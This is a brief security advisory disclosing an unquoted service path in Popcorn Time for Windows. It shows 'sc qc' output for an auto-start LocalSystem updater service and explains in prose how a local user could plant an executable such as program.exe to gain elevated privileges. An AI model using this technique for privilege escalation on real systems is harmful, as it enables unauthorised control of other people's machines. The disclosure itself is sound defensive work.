[+] Description:  
Popcorn Time For Windows installs as a service with an unquoted  
service path running with SYSTEM privileges.  
This could potentially allow an authorized but non-privileged local  
user to execute arbitrary code with elevated privileges on the system.  
  
[+] POC:  
C:\Users\User>sc qc "Update service"  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: Update service  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files (x86)\Popcorn Time\Updater.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : Update service  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
[+] Exploit:  
A successful attempt would require the local user to be able to insert their  
code in "Program files (x86)" (popcorn.exe) or "C:\" (program.exe)  
folders undetected by the OS or other security applications  
where it could potentially be executed during application startup or reboot.  
If successful, the local user's code would execute with the elevated privileges  
of the application.
